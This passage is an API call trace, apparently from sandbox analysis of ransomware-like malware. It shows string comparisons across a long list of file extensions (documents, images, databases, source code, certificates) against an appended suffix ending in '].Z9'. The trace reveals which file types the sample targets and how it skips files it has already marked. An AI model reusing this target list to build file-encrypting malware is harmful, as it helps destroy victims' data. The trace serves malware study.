	[0188.194] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".ai6") returned 4
	[0188.194] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".ai7") returned 4
	[0188.194] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".ai8") returned 4
	[0188.194] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".anim") returned 5
	[0188.194] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0188.194] lstrlenW (lpString=".arw") returned 4
	[0188.194] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".as") returned 3
	[0188.194] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0188.194] lstrlenW (lpString=".asa") returned 4
	[0188.195] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".asc") returned 4
	[0188.195] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".ascx") returned 5
	[0188.195] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0188.195] lstrlenW (lpString=".asm") returned 4
	[0188.195] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".asmx") returned 5
	[0188.195] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0188.195] lstrlenW (lpString=".asp") returned 4
	[0188.195] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".aspx") returned 5
	[0188.195] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0188.195] lstrlenW (lpString=".asr") returned 4
	[0188.195] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".asx") returned 4
	[0188.195] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".avi") returned 4
	[0188.195] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".avs") returned 4
	[0188.195] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".backup") returned 7
	[0188.195] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0188.195] lstrlenW (lpString=".bak") returned 4
	[0188.195] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".bay") returned 4
	[0188.195] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".bd") returned 3
	[0188.195] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0188.195] lstrlenW (lpString=".bin") returned 4
	[0188.195] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".bmp") returned 4
	[0188.195] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".bz2") returned 4
	[0188.195] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0188.195] lstrlenW (lpString=".c") returned 2
	[0188.196] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0188.196] lstrlenW (lpString=".cdr") returned 4
	[0188.196] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cer") returned 4
	[0188.196] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cf") returned 3
	[0188.196] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0188.196] lstrlenW (lpString=".cfc") returned 4
	[0188.196] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cfm") returned 4
	[0188.196] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cfml") returned 5
	[0188.196] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cfu") returned 4
	[0188.196] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".chm") returned 4
	[0188.196] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cin") returned 4
	[0188.196] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".class") returned 6
	[0188.196] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0188.196] lstrlenW (lpString=".clx") returned 4
	[0188.196] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".config") returned 7
	[0188.196] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cpp") returned 4
	[0188.196] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cr2") returned 4
	[0188.196] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".crt") returned 4
	[0188.196] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".crw") returned 4
	[0188.196] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0188.196] lstrlenW (lpString=".cs") returned 3
	[0188.196] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0188.196] lstrlenW (lpString=".css") returned 4
	[0188.196] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".csv") returned 4
	[0188.197] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".cub") returned 4
	[0188.197] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dae") returned 4
	[0188.197] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dat") returned 4
	[0188.197] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".db") returned 3
	[0188.197] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0188.197] lstrlenW (lpString=".dbf") returned 4
	[0188.197] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dbx") returned 4
	[0188.197] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dc3") returned 4
	[0188.197] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dcm") returned 4
	[0188.197] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dcr") returned 4
	[0188.197] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".der") returned 4
	[0188.197] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dib") returned 4
	[0188.197] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dic") returned 4
	[0188.197] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dif") returned 4
	[0188.197] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".divx") returned 5
	[0188.197] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0188.197] lstrlenW (lpString=".djvu") returned 5
	[0188.197] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0188.197] lstrlenW (lpString=".dng") returned 4
	[0188.197] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".doc") returned 4
	[0188.197] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0188.197] lstrlenW (lpString=".docm") returned 5
	[0188.198] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0188.198] lstrlenW (lpString=".docx") returned 5
	[0188.198] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dot") returned 4
	[0188.198] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dotm") returned 5
	[0188.198] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dotx") returned 5
	[0188.198] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dpx") returned 4
	[0188.198] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dqy") returned 4
	[0188.198] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dsn") returned 4
	[0188.198] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dt") returned 3
	[0188.198] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0188.198] lstrlenW (lpString=".dtd") returned 4
	[0188.198] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dwg") returned 4
	[0188.198] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dwt") returned 4
	[0188.198] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".dx") returned 3
	[0188.198] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0188.198] lstrlenW (lpString=".dxf") returned 4
	[0188.198] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".edml") returned 5
	[0188.198] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0188.198] lstrlenW (lpString=".efd") returned 4
	[0188.198] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".elf") returned 4
	[0188.198] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".emf") returned 4
	[0188.198] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0188.198] lstrlenW (lpString=".emz") returned 4
	[0188.198] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0188.212] lstrlenW (lpString=".epf") returned 4
	[0188.212] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0188.212] lstrlenW (lpString=".eps") returned 4
	[0188.212] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0188.212] lstrlenW (lpString=".epsf") returned 5
	[0188.212] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0188.212] lstrlenW (lpString=".epsp") returned 5
	[0188.212] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0188.212] lstrlenW (lpString=".erf") returned 4
	[0188.212] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0188.212] lstrlenW (lpString=".exr") returned 4
	[0188.212] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0188.212] lstrlenW (lpString=".f4v") returned 4
	[0188.212] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0188.212] lstrlenW (lpString=".fido") returned 5
	[0188.212] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0188.213] lstrlenW (lpString=".flm") returned 4
	[0188.213] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".flv") returned 4
	[0188.213] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".frm") returned 4
	[0188.213] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".fxg") returned 4
	[0188.213] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".geo") returned 4
	[0188.213] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".gif") returned 4
	[0188.213] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".grs") returned 4
	[0188.213] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".gz") returned 3
	[0188.213] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0188.213] lstrlenW (lpString=".h") returned 2
	[0188.213] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0188.213] lstrlenW (lpString=".hdr") returned 4
	[0188.213] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".hpp") returned 4
	[0188.213] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".hta") returned 4
	[0188.213] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".htc") returned 4
	[0188.213] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".htm") returned 4
	[0188.213] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".html") returned 5
	[0188.213] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0188.213] lstrlenW (lpString=".icb") returned 4
	[0188.213] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".ics") returned 4
	[0188.213] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".iff") returned 4
	[0188.213] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0188.213] lstrlenW (lpString=".inc") returned 4
	[0188.214] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".indd") returned 5
	[0188.214] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0188.214] lstrlenW (lpString=".ini") returned 4
	[0188.214] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".iqy") returned 4
	[0188.214] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".j2c") returned 4
	[0188.214] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".j2k") returned 4
	[0188.214] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".java") returned 5
	[0188.214] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0188.214] lstrlenW (lpString=".jp2") returned 4
	[0188.214] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".jpc") returned 4
	[0188.214] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".jpe") returned 4
	[0188.214] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".jpeg") returned 5
	[0188.214] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0188.214] lstrlenW (lpString=".jpf") returned 4
	[0188.214] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0188.214] lstrlenW (lpString=".jpg") returned 4
	[0188.215] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".jpx") returned 4
	[0188.215] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".js") returned 3
	[0188.215] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0188.215] lstrlenW (lpString=".jsf") returned 4
	[0188.215] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".json") returned 5
	[0188.215] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0188.215] lstrlenW (lpString=".jsp") returned 4
	[0188.215] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".kdc") returned 4
	[0188.215] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".kmz") returned 4
	[0188.215] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".kwm") returned 4
	[0188.215] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".lasso") returned 6
	[0188.215] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0188.215] lstrlenW (lpString=".lbi") returned 4
	[0188.215] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".lgf") returned 4
	[0188.215] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".lgp") returned 4
	[0188.215] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".log") returned 4
	[0188.215] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".m1v") returned 4
	[0188.215] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".m4a") returned 4
	[0188.215] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".m4v") returned 4
	[0188.215] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".max") returned 4
	[0188.215] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0188.215] lstrlenW (lpString=".md") returned 3
	[0188.215] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0188.216] lstrlenW (lpString=".mda") returned 4
	[0188.216] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mdb") returned 4
	[0188.216] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mde") returned 4
	[0188.216] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mdf") returned 4
	[0188.216] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mdw") returned 4
	[0188.216] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mef") returned 4
	[0188.216] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mft") returned 4
	[0188.216] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mfw") returned 4
	[0188.216] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mht") returned 4
	[0188.216] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mhtml") returned 6
	[0188.216] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mka") returned 4
	[0188.216] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mkidx") returned 6
	[0188.216] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mkv") returned 4
	[0188.216] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mos") returned 4
	[0188.216] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mov") returned 4
	[0188.216] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mp3") returned 4
	[0188.216] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mp4") returned 4
	[0188.216] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mpeg") returned 5
	[0188.216] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0188.216] lstrlenW (lpString=".mpg") returned 4
	[0188.217] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".mpv") returned 4
	[0188.217] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".mrw") returned 4
	[0188.217] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".msg") returned 4
	[0188.217] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".mxl") returned 4
	[0188.217] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".myd") returned 4
	[0188.217] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".myi") returned 4
	[0188.217] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".nef") returned 4
	[0188.217] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".nrw") returned 4
	[0188.217] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".obj") returned 4
	[0188.217] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".odb") returned 4
	[0188.217] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".odc") returned 4
	[0188.217] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".odm") returned 4
	[0188.217] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".odp") returned 4
	[0188.217] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".ods") returned 4
	[0188.217] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".oft") returned 4
	[0188.217] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".one") returned 4
	[0188.217] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0188.217] lstrlenW (lpString=".onepkg") returned 7
	[0188.217] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0188.217] lstrlenW (lpString=".onetoc2") returned 8
	[0188.217] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0188.217] lstrlenW (lpString=".opt") returned 4
	[0188.218] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".oqy") returned 4
	[0188.218] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".orf") returned 4
	[0188.218] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".p12") returned 4
	[0188.218] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".p7b") returned 4
	[0188.218] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".p7c") returned 4
	[0188.218] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pam") returned 4
	[0188.218] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pbm") returned 4
	[0188.218] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pct") returned 4
	[0188.218] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pcx") returned 4
	[0188.218] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pdd") returned 4
	[0188.218] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pdf") returned 4
	[0188.218] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pdp") returned 4
	[0188.218] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pef") returned 4
	[0188.218] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pem") returned 4
	[0188.218] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pff") returned 4
	[0188.218] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pfm") returned 4
	[0188.218] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pfx") returned 4
	[0188.218] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".pgm") returned 4
	[0188.218] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0188.218] lstrlenW (lpString=".php") returned 4
	[0188.219] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0188.219] lstrlenW (lpString=".php3") returned 5
	[0188.219] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0188.219] lstrlenW (lpString=".php4") returned 5
	[0188.219] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0188.219] lstrlenW (lpString=".php5") returned 5
	[0188.219] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0188.219] lstrlenW (lpString=".phtml") returned 6
	[0188.219] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0188.219] lstrlenW (lpString=".pict") returned 5
	[0188.219] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0188.219] lstrlenW (lpString=".pl") returned 3
	[0188.219] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0188.219] lstrlenW (lpString=".pls") returned 4
	[0188.219] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0188.219] lstrlenW (lpString=".pm") returned 3
	[0188.219] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0188.219] lstrlenW (lpString=".png") returned 4
	[0188.219] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0188.219] lstrlenW (lpString=".pnm") returned 4
	[0188.219] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0188.219] lstrlenW (lpString=".pot") returned 4
	[0188.219] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0188.219] lstrlenW (lpString=".potm") returned 5
	[0188.219] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0188.219] lstrlenW (lpString=".potx") returned 5
	[0188.219] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0188.219] lstrlenW (lpString=".ppa") returned 4
	[0188.219] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0188.219] lstrlenW (lpString=".ppam") returned 5
	[0188.219] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0188.219] lstrlenW (lpString=".ppm") returned 4
	[0188.219] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0188.219] lstrlenW (lpString=".pps") returned 4
	[0188.219] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0188.219] lstrlenW (lpString=".ppsm") returned 5
	[0188.219] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0188.219] lstrlenW (lpString=".ppt") returned 4
	[0188.220] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0188.220] lstrlenW (lpString=".pptm") returned 5
	[0188.220] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0188.220] lstrlenW (lpString=".pptx") returned 5
	[0188.220] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0188.220] lstrlenW (lpString=".prn") returned 4
	[0188.220] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0188.220] lstrlenW (lpString=".ps") returned 3
	[0188.220] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0188.220] lstrlenW (lpString=".psb") returned 4
	[0188.220] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0188.220] lstrlenW (lpString=".psd") returned 4
	[0188.220] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0188.220] lstrlenW (lpString=".pst") returned 4
	[0188.220] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
